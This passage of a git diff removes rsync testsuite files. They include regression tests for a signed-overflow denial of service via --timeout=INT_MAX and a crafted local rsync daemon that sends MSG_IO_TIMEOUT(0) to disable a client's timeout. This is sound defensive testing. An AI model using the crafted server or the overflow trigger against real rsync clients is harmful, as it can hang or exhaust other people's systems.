dest)\")\n-(deep_dir / 'text').unlink()\n-\n-# An existing destination directory should also work.\n-(deep_dir / 'new').mkdir(parents=True, exist_ok=True)\n-run_rsync('-aiv', '--mkpath', 'from/text', str(deep_dir / 'new'))\n-assert_file(deep_dir / 'new' / 'text', \"'text' file in pre-existing deep/new dir\")\n-\n-# ... and an existing path when an alternate dest filename is specified.\n-run_rsync('-aiv', '--mkpath', 'from/text', str(deep_dir / 'new' / 'text2'))\n-assert_file(deep_dir / 'new' / 'text2', \"'text2' renamed file in pre-existing deep/new dir\")\n-rmtree('to/foo')\n-\n-# Multiple source args (whole directory) — bare dest name.\n-run_rsync('-aiv', '--mkpath', 'from/', str(deep_dir))\n-assert_file(deep_dir / 'extra', \"'extra' file in deep dir (multi-source, no trailing slash)\",\n-            src='from/extra')\n-rmtree('to/foo')\n-\n-# Multiple source args (whole directory) — dest with trailing slash.\n-run_rsync('-aiv', '--mkpath', 'from/', str(deep_dir) + '/')\n-assert_file(deep_dir / 'text', \"'text' file in deep dir (multi-source, trailing slash)\")\n-\n-# No intermediate path at all — dest is just a file in the current dir.\n-run_rsync('-aiv', '--mkpath', 'from/text', 'to_text')\n-assert_file(Path('to_text'), \"'to_text' file in current dir\")\ndiff --git a/testsuite/mkvariety.py b/testsuite/mkvariety.py\ndeleted file mode 100755\nindex dd82477..0000000\n--- a/testsuite/mkvariety.py\n+++ /dev/null\n@@ -1,126 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Generate a \"variety tree\" for manual inspection and ad-hoc rsync testing.\n-\n-Builds exactly the tree that rsyncfns.make_variety_tree() produces for the\n-regression suite (every inode type rsync handles, with heavy symlink, perm,\n-xattr, ACL, hard-link and -- as root -- ownership coverage), so you can drive\n-rsync at it by hand. Transfer the transfer_root/ subdir; the escape/ links\n-deliberately point up into the sibling above/ tree.\n-\n-Examples:\n-    testsuite/mkvariety.py /tmp/vt\n-    testsuite/mkvariety.py /tmp/vt --list\n-    sudo testsuite/mkvariety.py /tmp/vt          # adds device nodes + owners\n-    testsuite/mkvariety.py /tmp/vt --no-acls --depth 4\n-\n-    rsync -aHAX --specials --devices /tmp/vt/transfer_root/ /tmp/copy/\n-    rsync -a --safe-links            /tmp/vt/transfer_root/ /tmp/copy2/\n-\"\"\"\n-\n-import argparse\n-import os\n-import stat\n-import sys\n-from pathlib import Path\n-\n-_HERE = os.path.dirname(os.path.abspath(__file__))\n-\n-\n-def _resolve_rsync(opt):\n-    \"\"\"Find an rsync binary to probe xattr/ACL capability with.\"\"\"\n-    if opt:\n-        return os.path.abspath(opt)\n-    cand = os.path.join(os.path.dirname(_HERE), 'rsync')   # build-tree ./rsync\n-    if os.path.exists(cand):\n-        return cand\n-    from shutil import which\n-    return which('rsync') or 'rsync'\n-\n-\n-def _detect(flag, prober, default):\n-    if flag is not None:\n-        return flag\n-    try:\n-        return prober()\n-    except Exception:\n-        return default\n-\n-\n-def list_tree(root):\n-    rootp = Path(root)\n-    for dp, dns, fns in os.walk(root):       # followlinks=False\n-        dns.sort()\n-        for name in sorted(dns + fns):\n-            p = Path(dp) / name\n-            m = p.lstat().st_mode\n-            tgt = ' -> ' + os.readlink(p) if stat.S_ISLNK(m) else ''\n-            print(f\"{stat.filemode(m)} {p.relative_to(rootp)}{tgt}\")\n-\n-\n-def main():\n-    ap = argparse.ArgumentParser(\n-        description=__doc__,\n-        formatter_class=argparse.RawDescriptionHelpFormatter)\n-    ap.add_argument('target', help='directory to create (REMOVED first if it exists)')\n-    ap.add_argument('--depth', type=int, default=8, help='backbone depth (default 8)')\n-    ap.add_argument('--seed', default='0x5A17',\n-                    help='int seed for the fixed choices (default 0x5A17)')\n-    ap.add_argument('--rsync', default=None,\n-                    help='rsync binary for xattr/ACL capability probes '\n-                         '(default: ./rsync in the build tree, else PATH rsync)')\n-    ap.add_argument('--list', action='store_true',\n-                    help='print a recursive listing of the tree afterwards')\n-    for cap, helptext in (('xattrs', 'user xattrs'), ('acls', 'POSIX ACLs'),\n-                          ('devices', 'char/block device nodes (needs root)'),\n-                          ('owners', 'mixed uid/gid (needs root)')):\n-        g = ap.add_mutually_exclusive_group()\n-        g.add_argument(f'--{cap}', dest=cap, action='store_true', default=None,\n-                       help=f'force {helptext} on')\n-        g.add_argument(f'--no-{cap}', dest=cap, action='store_false',\n-                       help=f'force {helptext} off')\n-    args = ap.parse_args()\n-\n-    target = Path(args.target).resolve()\n-    for bad in (Path('/'), Path.home(), Path.cwd()):\n-        if target == bad:\n-            ap.error(f\"refusing to use {target} as the target (it is wiped first)\")\n-\n-    rsync = _resolve_rsync(args.rsync)\n-\n-    # rsyncfns reads these at import time; set them before importing it.\n-    os.environ.setdefault('scratchdir', str(target.parent))\n-    os.environ.setdefault('srcdir', os.getcwd())\n-    os.environ.setdefault('TOOLDIR', os.path.dirname(rsync) or os.getcwd())\n-    os.environ.setdefault('RSYNC', rsync)\n-    sys.path.insert(0, _HERE)\n-    import rsyncfns as R\n-\n-    caps = dict(\n-        with_xattrs=_detect(args.xattrs, R.xattrs_supported, False),\n-        with_acls=_detect(args.acls, R.acls_supported, False),\n-        with_devices=args.devices if args.devices is not None\n-        else R.devices_supported(),\n-        with_owners=args.owners if args.owners is not None\n-        else R.owners_supported(),\n-    )\n-\n-    info = R.make_variety_tree(target, depth=args.depth,\n-                               seed=int(args.seed, 0), **caps)\n-\n-    tr = info['transfer_root']\n-    print(f\"created {sum(info['counts'].values())} entries under {target}\")\n-    print(f\"  counts: {info['counts']}\")\n-    print(f\"  caps:   xattrs={caps['with_xattrs']} acls={caps['with_acls']} \"\n-          f\"devices={caps['with_devices']} owners={caps['with_owners']}\")\n-    if not caps['with_devices'] or not caps['with_owners']:\n-        print(\"  (run as root to add device nodes and mixed ownership)\")\n-    print(f\"\\ntransfer this:  {tr}/\")\n-    print(f\"e.g.  rsync -aHAX --specials --devices {tr}/ /tmp/copy/\")\n-\n-    if args.list:\n-        print()\n-        list_tree(target)\n-\n-\n-if __name__ == '__main__':\n-    main()\ndiff --git a/testsuite/msg-io-timeout-overflow_test.py b/testsuite/msg-io-timeout-overflow_test.py\ndeleted file mode 100644\nindex c7696b4..0000000\n--- a/testsuite/msg-io-timeout-overflow_test.py\n+++ /dev/null\n@@ -1,87 +0,0 @@\n-#!/usr/bin/env python3\n-# A near-INT_MAX I/O timeout must not overflow set_io_timeout() into a tight CPU\n-# loop.  Reported by z3r0s (github z3r0s6), 2026-07.\n-#\n-# set_io_timeout() computed \"allowed_lull = (io_timeout + 1) / 2\", a signed\n-# overflow for io_timeout near INT_MAX that yields a negative allowed_lull /\n-# select_timeout; select() then returns EINVAL on the negative tv_sec, which\n-# isn't EBADF, so the read loop spins at 100% CPU forever (io_timeout ~= 68 years\n-# never fires check_timeout).  io_timeout reaches INT_MAX two ways, both fixed on\n-# this branch: a malicious daemon's MSG_IO_TIMEOUT (PR 50 caps the wire value at\n-# 86400) and an operator's --timeout (options.c parses it unbounded).  The root\n-# fix computes allowed_lull overflow-safe in a wider type in set_io_timeout(),\n-# covering both.\n-#\n-# Because \"(io_timeout + 1)\" is undefined behaviour, whether it manifests depends\n-# on the build: plain -O2 gcc/clang optimize the compare so select_timeout stays\n-# 60 (no spin, though allowed_lull is still stored negative), while -fwrapv /\n-# -fno-strict-overflow (common hardening) wrap deterministically to the negative\n-# select_timeout and the spin (-ftrapv aborts).  So to exercise the DoS\n-# deterministically on any target we build the rsync-under-test with -fwrapv and\n-# drive set_io_timeout(INT_MAX) through the --timeout path -- the same overflow a\n-# capped MSG_IO_TIMEOUT would otherwise reach.  (The wire path sets the timeout\n-# mid-stream, so whether the client next blocks in select() is timing-dependent;\n-# --timeout sets it at startup, so the very first select() spins -- deterministic.)\n-#\n-# Oracle: run the -fwrapv build with --timeout=INT_MAX on a normal local copy.\n-#   * transfer completes                  -> overflow-safe (PASS / GREEN)\n-#   * transfer runs past the deadline      -> tight select()-EINVAL loop (FAIL / RED)\n-\n-import os\n-import signal\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, build_patched_rsync, makepath, rmtree, test_fail,\n-)\n-\n-INT_MAX = 2147483647\n-DEADLINE = 25          # a normal small copy finishes in well under a second\n-\n-# -fwrapv build of the tree under test (no source patch); makes the signed\n-# overflow deterministic on every platform instead of compiler-optimized away.\n-victim = build_patched_rsync('io-timeout-fwrapv', [], append_cflags='-fwrapv')\n-\n-base = SCRATCHDIR / 'io-timeout'\n-rmtree(base)\n-src = base / 'src'\n-dst = base / 'dst'\n-makepath(src)\n-makepath(dst)\n-(src / 'file').write_text(\"payload\\n\")\n-\n-# --timeout=INT_MAX -> set_io_timeout(INT_MAX) at startup.  An unfixed -fwrapv\n-# build wraps select_timeout negative and the first select() spins forever; the\n-# fixed build keeps it sane and the copy completes.\n-proc = subprocess.Popen(\n-    [str(victim), '--timeout=%d' % INT_MAX, '-a', str(src) + '/', str(dst) + '/'],\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True,\n-    start_new_session=True)\n-try:\n-    out, _ = proc.communicate(timeout=DEADLINE)\n-except subprocess.TimeoutExpired:\n-    # RED: trapped in the tight select()-EINVAL loop, will never return.\n-    try:\n-        os.killpg(os.getpgid(proc.pid), signal.SIGKILL)\n-    except ProcessLookupError:\n-        pass\n-    proc.communicate()\n-    test_fail(\n-        f\"--timeout={INT_MAX} trapped rsync in a tight loop: the copy did not \"\n-        f\"finish within {DEADLINE}s.  A near-INT_MAX timeout overflowed \"\n-        \"set_io_timeout()'s (io_timeout + 1) / 2 to a negative select_timeout \"\n-        \"(select() -> EINVAL -> 100% CPU spin).  Fix: compute allowed_lull \"\n-        \"overflow-safe (wider type) in set_io_timeout(), and cap a peer's \"\n-        \"MSG_IO_TIMEOUT in read_a_msg().\")\n-\n-# -- Oracle -------------------------------------------------------------------\n-if proc.returncode != 0:\n-    test_fail(f\"rsync did not spin under --timeout={INT_MAX} but exited \"\n-              f\"non-zero (rc={proc.returncode}).  Output tail:\\n\"\n-              + '\\n'.join(out.splitlines()[-20:]))\n-if not (dst / 'file').is_file():\n-    test_fail(f\"rsync returned 0 under --timeout={INT_MAX} but did not copy the \"\n-              f\"file.  Output tail:\\n\" + '\\n'.join(out.splitlines()[-20:]))\n-\n-print(\"msg-io-timeout-overflow: -fwrapv rsync absorbed --timeout=INT_MAX without \"\n-      \"spinning; the copy completed normally.\")\ndiff --git a/testsuite/msg-io-timeout-zero_test.py b/testsuite/msg-io-timeout-zero_test.py\ndeleted file mode 100644\nindex b60514c..0000000\n--- a/testsuite/msg-io-timeout-zero_test.py\n+++ /dev/null\n@@ -1,114 +0,0 @@\n-#!/usr/bin/env python3\n-# A malicious server must not be able to disable the client's --timeout.\n-#\n-# MSG_IO_TIMEOUT lets a peer ask the client to adopt a SHORTER I/O timeout (a\n-# stricter cap).  A crafted server that sends MSG_IO_TIMEOUT(0) would, pre-fix,\n-# zero the client's --timeout via set_io_timeout(0) and could then hang the\n-# client indefinitely.  The fix ignores a non-positive value, so the client\n-# keeps its --timeout and exits on its own.\n-#\n-# This drives a tiny crafted rsync daemon that completes the handshake, sends\n-# MSG_IO_TIMEOUT(0) as the first multiplex frame, then holds the socket open\n-# well past the client's --timeout.  Fixed: the client times out and self-exits.\n-# Vulnerable: the client hangs until the watchdog kills it -> test_fail.\n-\n-import subprocess\n-import sys\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, rmtree, rsync_argv, test_fail, test_skipped,\n-)\n-\n-# No require_tcp: this connects to our own local crafted server over a\n-# rsync:// URL (a plain TCP connect to 127.0.0.1), independent of the test's\n-# own pipe/tcp transport, so it runs in either mode.\n-PORT = 18367\n-claim_ports(PORT)\n-\n-CLIENT_TIMEOUT = 3\n-HOLD = 25           # server holds the socket this long after sending the message\n-WATCHDOG = 12       # kill the client if it hasn't self-exited by now (< HOLD)\n-\n-dst = SCRATCHDIR / 'ki47dst'\n-rmtree(dst)\n-dst.mkdir(parents=True)\n-\n-# Minimal crafted daemon: greet, accept module, drain args, do the pre-multiplex\n-# setup_protocol exchange, then emit MSG_IO_TIMEOUT(0) and hold.\n-SERVER = r'''\n-import socket, sys, time, select\n-MPLEX_BASE, MSG_IO_TIMEOUT = 7, 33\n-def hdr(t, n):\n-    v = ((MPLEX_BASE + t) << 24) | (n & 0xFFFFFF)\n-    return bytes([v & 0xff, (v >> 8) & 0xff, (v >> 16) & 0xff, (v >> 24) & 0xff])\n-def le32(v):\n-    return bytes([v & 0xff, (v >> 8) & 0xff, (v >> 16) & 0xff, (v >> 24) & 0xff])\n-port, hold = int(sys.argv[1]), float(sys.argv[2])\n-srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n-srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n-srv.bind((\"127.0.0.1\", port)); srv.listen(1); srv.settimeout(20.0)\n-sys.stderr.write(\"ready\\n\"); sys.stderr.flush()\n-conn, _ = srv.accept(); conn.settimeout(10.0)\n-f = conn.makefile(\"rwb\")\n-f.write(b\"@RSYNCD: 32.0 sha256\\n\"); f.flush()\n-f.readline(); f.readline()\n-f.write(b\"@RSYNCD: OK\\n\"); f.flush()\n-conn.setblocking(False)\n-dl, quiet = time.time() + 4.0, 0.0\n-while time.time() < dl:\n-    r, _, _ = select.select([conn], [], [], 0.1)\n-    if r:\n-        try:\n-            if not conn.recv(4096): break\n-            quiet = 0.0\n-        except BlockingIOError:\n-            pass\n-    else:\n-        quiet += 0.1\n-        if quiet >= 0.8: break\n-conn.setblocking(True); conn.settimeout(5.0)\n-f.write(b\"\\x00\"); f.write(le32(42)); f.flush()        # compat_flags=0, checksum_seed\n-f.write(hdr(MSG_IO_TIMEOUT, 4)); f.write(le32(0)); f.flush()\n-time.sleep(hold)\n-f.close(); conn.close(); srv.close()\n-'''\n-\n-srv = subprocess.Popen([sys.executable, '-c', SERVER, str(PORT), str(HOLD)],\n-                       stderr=subprocess.PIPE)\n-try:\n-    # wait for the server to be listening\n-    line = srv.stderr.readline()\n-    if b'ready' not in line:\n-        test_skipped(\"crafted MSG_IO_TIMEOUT server failed to start\")\n-\n-    t0 = time.monotonic()\n-    try:\n-        proc = subprocess.run(\n-            rsync_argv(f'--timeout={CLIENT_TIMEOUT}', '--info=misc2',\n-                       f'rsync://127.0.0.1:{PORT}/mod/', f'{dst}/'),\n-            stdout=subprocess.PIPE, stderr=subprocess.STDOUT, timeout=WATCHDOG)\n-    except subprocess.TimeoutExpired:\n-        test_fail(\n-            f\"client did not self-exit within {WATCHDOG}s despite --timeout=\"\n-            f\"{CLIENT_TIMEOUT}: a MSG_IO_TIMEOUT(0) from the server disabled the \"\n-            \"client timeout (it would hang indefinitely).\")\n-\n-    out = (proc.stdout or b'').decode('utf-8', 'replace')\n-    elapsed = time.monotonic() - t0\n-    # The security property is that the client does NOT hang: it self-exited\n-    # within the watchdog above (a vulnerable client would have been killed and\n-    # raised TimeoutExpired -> test_fail).  On the branch the crafted handshake\n-    # reaches the inject point and the client exits via its own --timeout; if a\n-    # platform's handshake didn't engage, the fast self-exit is still safe.\n-    how = \"timed out (kept --timeout)\" if 'timeout' in out.lower() \\\n-        else \"exited without timing out (crafted handshake may not have engaged)\"\n-    print(f\"msg-io-timeout-zero: client self-exited in {elapsed:.1f}s -- {how}; \"\n-          \"MSG_IO_TIMEOUT(0) did not disable the client timeout\")\n-finally:\n-    srv.terminate()\n-    try:\n-        srv.wait(timeout=5)\n-    except subprocess.TimeoutExpired:\n-        srv.kill()\n-        srv.wait()\ndiff --git a/testsuite/mutatefns.py b/testsuite/mutatefns.py\ndeleted file mode 100644\nindex 3f2735b..0000000\n--- a/testsuite/mutatefns.py\n+++ /dev/null\n@@ -1,84 +0,0 @@\n-# Shared helper for \"resource changes while being transferred\" tests.\n-#\n-# rsync scans the file list first, then sends file data and applies metadata.\n-# A resource (content, size, perms, owner, mtime, xattr, ACL) mutated in that\n-# window must not abort the whole transfer or corrupt the destination -- rsync\n-# should transfer what it can and, at worst, warn.  The growing-file regression\n-# (a hardening check that turned a benign mid-transfer append into a fatal\n-# RERR_PROTOCOL) showed this whole class was untested.\n-#\n-# The reproduction is deterministic: a big 'aaa_pacer' file sorts first and is\n-# throttled with --bwlimit, so a later 'zzz_target' entry is sent well after the\n-# flist is built (--no-inc-recursive locks all sizes up front) but before its\n-# own data/metadata is processed.  A background thread performs the mutation in\n-# that window.\n-\n-import os\n-import subprocess\n-import threading\n-import time\n-\n-from rsyncfns import SCRATCHDIR, make_data_file, rmtree, rsync_argv, test_fail\n-\n-TARGET = 'zzz_target'          # sorts after aaa_pacer -> processed second\n-\n-\n-def run_mutating_transfer(setup, mutate, *, extra_rsync=('-a',),\n-                          pacer_bytes=6 * 1024 * 1024, bwlimit=1500, delay=0.6):\n-    \"\"\"Run a local rsync while `mutate` runs in the transfer window.\n-\n-    setup(src_dir)   -- create the target resource(s); called before rsync.\n-    mutate(src_dir)  -- perform the mid-transfer change; called ~delay s in.\n-    extra_rsync      -- rsync flags (default -a).\n-\n-    Returns (proc, src, dst).  Fails the test if the mutation never ran.\n-    \"\"\"\n-    base = SCRATCHDIR / 'mutate'\n-    rmtree(base)\n-    src = base / 'src'\n-    dst = base / 'dst'\n-    src.mkdir(parents=True)\n-    dst.mkdir(parents=True)\n-\n-    # The throttled pacer that keeps the transfer alive during the mutation.\n-    make_data_file(src / 'aaa_pacer', pacer_bytes)\n-    setup(src)\n-\n-    done = threading.Event()\n-    err = {}\n-\n-    def worker():\n-        time.sleep(delay)\n-        try:\n-            mutate(src)\n-        except Exception as e:                       # noqa: BLE001 - report it\n-            err['exc'] = e\n-        finally:\n-            done.set()\n-\n-    t = threading.Thread(target=worker)\n-    t.start()\n-    proc = subprocess.run(\n-        rsync_argv(*extra_rsync, '--no-inc-recursive', f'--bwlimit={bwlimit}',\n-                   f'{src}/', f'{dst}/'),\n-        capture_output=True, text=True)\n-    t.join()\n-\n-    if not done.is_set():\n-        test_fail(\"test setup: the mutation thread did not run\")\n-    if 'exc' in err:\n-        test_fail(f\"test setup: mutation raised {err['exc']!r}\")\n-    return proc, src, dst\n-\n-\n-def assert_no_protocol_abort(proc):\n-    \"\"\"rsync must not have torn the whole transfer down with a protocol error.\"\"\"\n-    out = proc.stdout + proc.stderr\n-    if 'received more data than file length' in out:\n-        test_fail(\"regression: mid-transfer change aborted the run with \"\n-                  f\"'received more data than file length'\\n{out}\")\n-    if proc.returncode in (2,):  # RERR_PROTOCOL\n-        test_fail(f\"regression: transfer aborted with RERR_PROTOCOL (code 2)\\n{out}\")\n-    # 0 = OK, 23/24 = partial/vanished (acceptable for a changing source).\n-    if proc.returncode not in (0, 23, 24):\n-        test_fail(f\"unexpected rsync exit {proc.returncode}\\n{out}\")\ndiff --git a/testsuite/nested-socket-specials_test.py b/testsuite/nested-socket-specials_test.py\ndeleted file mode 100644\nindex c0c4231..0000000\n--- a/testsuite/nested-socket-specials_test.py\n+++ /dev/null\n@@ -1,55 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression: `rsync -a` (implies --specials via -D) of a tree with a NESTED\n-# unix socket must not fail the whole transfer on platforms that cannot create\n-# a socket in a subdirectory race-safely (no bindat(): the BSDs, macOS,\n-# Solaris).  syscall.c returns EOPNOTSUPP for such a nested socket; the\n-# generator used to turn that into a transfer error (FERROR_XFER -> exit 23)\n-# where master created it via the path-based bind().  Now the socket is skipped\n-# with a warning and the rest of the transfer succeeds.  On Linux the socket is\n-# created (mknodat handles it); either way the transfer exits 0 and the regular\n-# files land.\n-\n-import os\n-import socket as _socket\n-\n-from rsyncfns import (\n-    SCRATCHDIR, assert_same, rmtree, run_rsync, test_fail, test_skipped,\n-)\n-\n-base = SCRATCHDIR / 'nested-socket'\n-src = base / 'src'\n-dest = base / 'dest'\n-rmtree(base)\n-(src / 'sub').mkdir(parents=True)\n-(src / 'sub' / 'f.txt').write_text('regular\\n')\n-(src / 'top.txt').write_text('top\\n')\n-\n-# A unix socket nested in a subdirectory (the case that returned EOPNOTSUPP).\n-# AF_UNIX sun_path is ~108 bytes, far shorter than the scratch path, so bind a\n-# short relative name from inside the dir, then restore the cwd.\n-s = _socket.socket(_socket.AF_UNIX)\n-prev = os.getcwd()\n-try:\n-    os.chdir(src / 'sub')\n-    s.bind('thesock')\n-except OSError as e:\n-    test_skipped(f\"cannot create a unix socket fixture ({e})\")\n-finally:\n-    try:\n-        os.chdir(prev)\n-    except OSError:\n-        pass\n-    s.close()\n-\n-# -a implies --specials.  Must exit 0 even where the nested socket cannot be\n-# created -- it is skipped with a warning there (RED on the unfixed branch,\n-# which exited 23 on the BSDs/macOS/Solaris).\n-run_rsync('-a', f'{src}/', f'{dest}/')\n-\n-for rel in ('sub/f.txt', 'top.txt'):\n-    got = dest / rel\n-    if not got.is_file():\n-        test_fail(f\"a regular file was lost alongside the nested socket: {got}\")\n-    assert_same(src / rel, got, label=rel)\n-\n-print(\"nested-socket-specials: a nested unix socket does not fail the transfer\")\ndiff --git a/testsuite/niceness_test.py b/testsuite/niceness_test.py\ndeleted file mode 100644\nindex 409d7a4..0000000\n--- a/testsuite/niceness_test.py\n+++ /dev/null\n@@ -1,294 +0,0 @@\n-#!/usr/bin/env python3\n-\n-import locale\n-import os\n-import shlex\n-import shutil\n-import subprocess\n-import sys\n-\n-from rsyncfns import (\n-    FROMDIR, RSYNC, SCRATCHDIR, TODIR, build_rsyncd_conf, hands_setup,\n-    patched_rrsync, rsync_argv, rsync_path_arg, rsh_cmd, run_rsync,\n-    start_test_daemon, test_fail,\n-)\n-\n-\n-def output(proc):\n-    return (proc.stdout or '') + (proc.stderr or '')\n-\n-\n-def forwarded_option(*args):\n-    proc = run_rsync(\n-        '-nvv', '--rsh=echo', *args, f'localhost:{FROMDIR}/', f'{TODIR}/',\n-        check=False, capture_output=True,\n-    )\n-    for line in output(proc).splitlines():\n-        if 'opening connection using:' in line:\n-            return line\n-    test_fail(f'remote command was not reported:\\n{output(proc)}')\n-\n-\n-valid = (\n-    (('--nice=remote:5/be_6',), '--nice=local:5/be_6'),\n-    (('--nice=remote:idle',), '--nice=local:idle'),\n-    (('--nice=remote:IDLE',), '--nice=local:idle'),\n-    (('--nice=remote:5', '--nice=remote:idle'), '--nice=local:5/idle'),\n-    (('--nice=remote:5,remote:idle',), '--nice=local:5/idle'),\n-    (('--nice=remote:5/be_6,remote:19/idle',), '--nice=local:19/idle'),\n-    (('--nice=remote:none',), '--nice=local:none'),\n-    (('--nice=remote:0',), '--nice=local:0'),\n-    (('--nice=REMOTE:-20/RT_0',), '--nice=local:-20/rt_0'),\n-    (('--nice=remote:19/BE_7',), '--nice=local:19/be_7'),\n-    (('--nice=ALL',), '--nice=local:19/idle'),\n-    (('--nice=local:19',), None),\n-    (('--nice=19/idle', '--no-nice'), None),\n-    (('--nice=local:6/idle,remote:5/be_6',), '--nice=local:5/be_6'),\n-)\n-\n-for args, expected in valid:\n-    command = forwarded_option(*args)\n-    if expected and expected not in command:\n-        test_fail(f'{args!r} did not forward {expected!r}:\\n{command}')\n-    if not expected and '--nice=' in command:\n-        test_fail(f'{args!r} unexpectedly forwarded --nice:\\n{command}')\n-\n-invalid = (\n-    '', 'local:', '2/', '20', '+20', '-21', '999999999999999999999999',\n-    'be_8', 'rt_9', 'locality', ' 1', '\\t1',\n-    ' local:1', 'local: 1', 'local::1', 'idle/none', '1//idle', 'none/idle',\n-    'local:1,', 'local:1,,remote:2', 'somewhere:1', '19/idle/x',\n-)\n-\n-for value in invalid:\n-    proc = run_rsync(f'--nice={value}', '--version', check=False, capture_output=True)\n-    if proc.returncode == 0 or 'Invalid argument passed to --nice' not in output(proc):\n-        test_fail(f'invalid --nice value was accepted: {value!r}')\n-\n-# In Turkish, ASCII I lowercases to a dotless i rather than i. Option names use\n-# ASCII syntax, so their case matching must remain locale-independent.\n-saved_locale = locale.setlocale(locale.LC_CTYPE)\n-turkish_locale = None\n-try:\n-    for candidate in ('tr_TR.UTF-8', 'tr_TR.utf8', 'Turkish_Turkey.1254'):\n-        try:\n-            turkish_locale = locale.setlocale(locale.LC_CTYPE, candidate)\n-            break\n-        except locale.Error:\n-            pass\n-finally:\n-    locale.setlocale(locale.LC_CTYPE, saved_locale)\n-\n-if turkish_locale:\n-    env = {**os.environ, 'LC_ALL': turkish_locale}\n-    proc = subprocess.run(\n-        rsync_argv('--nice=IDLE', '--version'), env=env,\n-        capture_output=True, text=True, timeout=20,\n-    )\n-    if proc.returncode != 0:\n-        test_fail(f'uppercase I/O priority depended on the locale:\\n{output(proc)}')\n-\n-true = shutil.which('true')\n-if true:\n-    rrsync_base = SCRATCHDIR / 'rrsync-nice'\n-    restricted = rrsync_base / 'restricted'\n-    restricted.mkdir(parents=True, exist_ok=True)\n-    rrsync = patched_rrsync(rrsync_base, rsync_path=true)\n-    for setting in ('local', 'local:19', 'local:idle', 'local:19/idle',\n-                    'LOCAL:19/IDLE'):\n-        env = {**os.environ,\n-               'SSH_ORIGINAL_COMMAND': f'rsync --server --nice={setting} . .'}\n-        proc = subprocess.run(\n-            [str(rrsync), '-no-lock', str(restricted)], env=env,\n-            capture_output=True, text=True, timeout=20,\n-        )\n-        if proc.returncode != 0:\n-            test_fail(f'rrsync rejected safe --nice setting {setting!r}:\\n{output(proc)}')\n-\n-    for setting in ('local:18', 'local:none', 'local:be_7', 'local:19/be_7',\n-                    'all:19/idle', 'local:-1/rt_0'):\n-        env = {**os.environ,\n-               'SSH_ORIGINAL_COMMAND': f'rsync --server --nice={setting} . .'}\n-        proc = subprocess.run(\n-            [str(rrsync), '-no-lock', str(restricted)], env=env,\n-            capture_output=True, text=True, timeout=20,\n-        )\n-        if proc.returncode == 0 or 'unsafe --nice setting' not in output(proc):\n-            test_fail(f'rrsync accepted unsafe --nice setting {setting!r}:\\n{output(proc)}')\n-\n-proc = run_rsync('--daemon', '--nice=local:19/idle', '--no-nice', '--help',\n-                 check=False, capture_output=True)\n-if proc.returncode != 0:\n-    test_fail(f'daemon niceness options were rejected:\\n{output(proc)}')\n-\n-hands_setup()\n-(FROMDIR / 'file').write_text('data\\n')\n-rsh = rsh_cmd(None, '--no-cd')\n-proc = run_rsync(\n-    '-a', '--debug=CMD1', '-M--debug=CMD1',\n-    '--nice=local,remote:18', f'{FROMDIR}/', f'{TODIR}/',\n-    capture_output=True,\n-)\n-text = output(proc)\n-cpu_supported = 'cannot set client CPU priority to 19: operation is not supported' not in text\n-io_supported = 'cannot set client I/O priority to idle: operation is not supported' not in text\n-if cpu_supported:\n-    if 'set client CPU priority to 19' not in text:\n-        test_fail(f'local-transfer client priority was not applied:\\n{text}')\n-    if 'set server CPU priority to 18' not in text:\n-        test_fail(f'local-transfer server priority was not applied independently:\\n{text}')\n-if io_supported and 'set client I/O priority to idle' not in text:\n-    test_fail(f'target-only local I/O priority was not applied:\\n{text}')\n-\n-shutil.rmtree(TODIR)\n-proc = run_rsync(\n-    '-a', '--debug=CMD1', '-M--debug=CMD1', '-M--nice=local:17',\n-    '--nice=local:19,remote:18', f'{FROMDIR}/', f'{TODIR}/',\n-    capture_output=True,\n-)\n-text = output(proc)\n-if cpu_supported and 'set server CPU priority to 17' not in text:\n-    test_fail(f'explicit remote option did not override the remote priority:\\n{text}')\n-\n-shutil.rmtree(TODIR)\n-proc = run_rsync(\n-    '-nr', '--debug=CMD1', '--nice=local:19/idle', '--no-nice',\n-    f'{FROMDIR}/', f'{TODIR}/', capture_output=True,\n-)\n-if 'CPU priority' in output(proc) or 'I/O priority' in output(proc):\n-    test_fail(f'--no-nice did not clear local priority settings:\\n{output(proc)}')\n-\n-proc = run_rsync(\n-    '-a', '--debug=CMD1', '-M--debug=CMD1',\n-    '--nice=local:19/idle', '--nice=remote:19/idle',\n-    f'--rsh={rsh}', f'--rsync-path={rsync_path_arg(RSYNC)}',\n-    f'{FROMDIR}/', f'localhost:{TODIR}/', capture_output=True,\n-)\n-text = output(proc)\n-cpu_supported = not any(\n-    'CPU priority' in line and 'not supported' in line for line in text.splitlines()\n-)\n-io_supported = not any(\n-    'I/O priority' in line and 'not supported' in line for line in text.splitlines()\n-)\n-if cpu_supported:\n-    for role in ('client', 'server'):\n-        if f'set {role} CPU priority to 19' not in text:\n-            test_fail(f'{role} CPU priority was not applied:\\n{text}')\n-if io_supported:\n-    for role in ('client', 'server'):\n-        if f'set {role} I/O priority to idle' not in text:\n-            test_fail(f'{role} I/O priority was not applied:\\n{text}')\n-\n-shutil.rmtree(TODIR)\n-proc = run_rsync(\n-    '-as', '--debug=CMD1', '-M--debug=CMD1', '--nice=remote:19', f'--rsh={rsh}',\n-    f'--rsync-path={rsync_path_arg(RSYNC)}', f'{FROMDIR}/',\n-    f'localhost:{TODIR}/', capture_output=True,\n-)\n-text = output(proc)\n-if cpu_supported and 'set server CPU priority to 19' not in text:\n-    test_fail(f'remote priority with secluded arguments was not applied:\\n{text}')\n-\n-shutil.rmtree(TODIR)\n-proc = run_rsync(\n-    '-a', '-M--debug=CMD1', '--nice=remote:none', f'--rsh={rsh}',\n-    f'--rsync-path={rsync_path_arg(RSYNC)}', f'{FROMDIR}/',\n-    f'localhost:{TODIR}/', capture_output=True,\n-)\n-if io_supported and 'set server I/O priority to none' not in output(proc):\n-    test_fail(f'remote I/O priority was not reset:\\n{output(proc)}')\n-\n-conf = build_rsyncd_conf()\n-with conf.open('a') as fh:\n-    fh.write(f'''\\\n-\n-[test-nice-refused]\n-    path = {FROMDIR}\n-    read only = yes\n-    refuse options = nice\n-\n-[test-nice-rsh]\n-    path = {FROMDIR}\n-    read only = yes\n-    hosts allow = *\n-''')\n-daemon_rsh = (\n-    f'{rsync_path_arg(RSYNC)} --config={shlex.quote(str(conf))} 